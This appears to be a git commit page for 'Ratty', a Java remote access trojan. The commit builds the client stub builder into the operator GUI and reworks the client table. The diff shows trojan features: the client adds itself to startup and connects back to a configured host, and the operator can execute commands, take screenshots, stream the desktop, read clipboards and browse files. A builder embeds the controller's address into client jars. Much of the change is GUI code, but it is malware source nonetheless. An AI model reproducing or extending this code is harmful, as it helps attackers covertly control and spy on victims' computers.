Browse Source

Major changes

Cleanups
Integrated the builder into the GUI
master
Sogomn 9 years ago
parent
commit
9a91b9ca99
  1. 2
      Ratty/res/connection_data.txt
  2. 24
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 5
      Ratty/src/de/sogomn/rat/builder/StubBuilder.java
  4. 1
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  5. 3
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  6. 26
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  7. 6
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  8. 15
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

2
Ratty/res/connection_data.txt

@ -1,9 +1,7 @@
localhost
23456
false
false
1 - Host
2 - Port
3 - Client?
4 - Builder?

24
Ratty/src/de/sogomn/rat/Ratty.java

@ -10,7 +10,6 @@ import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController;
@ -21,7 +20,6 @@ public final class Ratty {
private static String address;
private static int port;
private static boolean client;
private static boolean builder;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";
@ -46,12 +44,10 @@ public final class Ratty {
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
final String builderString = lines[3].trim();
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
builder = Boolean.parseBoolean(builderString);
}
}
@ -115,7 +111,11 @@ public final class Ratty {
server.start();
}
public static void start() {
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (client) {
addToStartup();
connectToHost(address, port);
@ -130,18 +130,4 @@ public final class Ratty {
}
}
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (builder) {
StubBuilder.start();
System.exit(0);
} else {
start();
}
}
}

5
Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@ -31,7 +31,8 @@ public final class StubBuilder {
private static File getFileInput(final boolean open) {
final JFileChooser fileChooser = new JFileChooser();
final File currentDirectory = new File(".");
final String currentDirectoryPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentDirectoryPath);
fileChooser.setCurrentDirectory(currentDirectory);
@ -80,7 +81,7 @@ public final class StubBuilder {
return;
}
final String fileContent = address + "\r\n" + port + "\r\ntrue\r\nfalse";
final String fileContent = address + "\r\n" + port + "\r\ntrue";
final byte[] data = fileContent.getBytes();
final ByteArrayInputStream in = new ByteArrayInputStream(data);
final Path jarFilePath = jarFile.toPath();

1
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -15,7 +15,6 @@ public final class DisplayPanel {
private BufferedImage image;
private int lastKeyHit;
private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2;

3
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -31,11 +31,11 @@ public final class FileTreePanel {
private DefaultMutableTreeNode root;
private JTree tree;
private DefaultTreeModel treeModel;
private DefaultMutableTreeNode lastNodeClicked;
private JScrollPane scrollPane;
private JPopupMenu menu;
private DefaultMutableTreeNode lastNodeClicked;
private IGuiController controller;
private static final String ROOT_NAME = "Drives";
@ -102,7 +102,6 @@ public final class FileTreePanel {
dialog.setContentPane(scrollPane);
dialog.pack();
dialog.setLocationByPlatform(true);
dialog.setIconImages(RattyGui.GUI_ICONS);
}
private void addMenuItem(final String name, final Icon icon) {

26
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -1,5 +1,7 @@
package de.sogomn.rat.server.gui;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.Point;
import java.awt.event.ActionEvent;
@ -10,7 +12,9 @@ import java.util.ArrayList;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
@ -28,18 +32,19 @@ public final class RattyGui {
private JScrollPane scrollPane;
private JPopupMenu menu;
private JMenuBar menuBar;
private JButton build;
private ServerClient lastServerClientClicked;
private IGuiController controller;
private static final Dimension SIZE = new Dimension(800, 400);
private static final Dimension SIZE = new Dimension(800, 600);
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites();
public static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
private static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
@ -49,6 +54,7 @@ public final class RattyGui {
public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content";
public static final String FREE = "Free client";
public static final String BUILD = "Client builder";
public static final String[] COMMANDS = {
POPUP,
@ -73,6 +79,8 @@ public final class RattyGui {
tableModel = new ServerClientTableModel();
scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
menu = new JPopupMenu();
menuBar = new JMenuBar();
build = new JButton(BUILD);
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
@ -81,6 +89,7 @@ public final class RattyGui {
addMenuItem(command, icon);
}
final Container container = frame.getContentPane();
final MouseAdapter mouseAdapter = new MouseAdapter() {
@Override
public void mousePressed(final MouseEvent m) {
@ -91,13 +100,18 @@ public final class RattyGui {
}
};
build.setActionCommand(BUILD);
build.addActionListener(this::actionPerformed);
menuBar.add(build);
scrollPane.setBorder(null);
table.setComponentPopupMenu(menu);
table.addMouseListener(mouseAdapter);
table.setModel(tableModel);
container.add(scrollPane, BorderLayout.CENTER);
container.add(menuBar, BorderLayout.SOUTH);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setContentPane(scrollPane);
frame.setPreferredSize(SIZE);
frame.pack();
frame.setLocationByPlatform(true);
@ -110,13 +124,13 @@ public final class RattyGui {
final JMenuItem item = new JMenuItem(name);
item.setActionCommand(name);
item.addActionListener(this::menuItemClicked);
item.addActionListener(this::actionPerformed);
item.setIcon(icon);
menu.add(item);
}
private void menuItemClicked(final ActionEvent a) {
private void actionPerformed(final ActionEvent a) {
if (controller == null) {
return;
}

6
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -9,6 +9,7 @@ import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateFolderPacket;
@ -248,11 +249,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
@Override
public void userInput(final String command) {
final ServerClient serverClient = gui.getLastServerClientClicked();
if (serverClient != null) {
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
serverClient.client.addPacket(packet);
}
}
if (command == RattyGui.DESKTOP) {
serverClient.setStreamingDesktop(true);
@ -264,6 +268,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final FileTreePanel treePanel = serverClient.getTreePanel();
treePanel.setVisible(true);
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
}
}

15
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -9,9 +9,8 @@ final class ServerClientTableModel extends AbstractTableModel {
private ArrayList<ServerClient> serverClients;
private static final int COLUMN_COUNT = 6;
private static final int COLUMN_COUNT = 5;
private static final String[] HEADERS = {
"ID",
"Name",
"IP address",
"OS",
@ -44,8 +43,6 @@ final class ServerClientTableModel extends AbstractTableModel {
case 3:
return String.class;
case 4:
return String.class;
case 5:
return Boolean.class;
default:
return super.getColumnClass(columnIndex);
@ -67,16 +64,14 @@ final class ServerClientTableModel extends AbstractTableModel {
switch (columnIndex) {
case 0:
return serverClient.id;
case 1:
return serverClient.getName();
case 2:
case 1:
return serverClient.client.getAddress();
case 3:
case 2:
return serverClient.getOs();
case 4:
case 3:
return serverClient.getVersion();
case 5:
case 4:
return serverClient.isStreamingDesktop();
default:
return null;

Loading…
Cancel
Save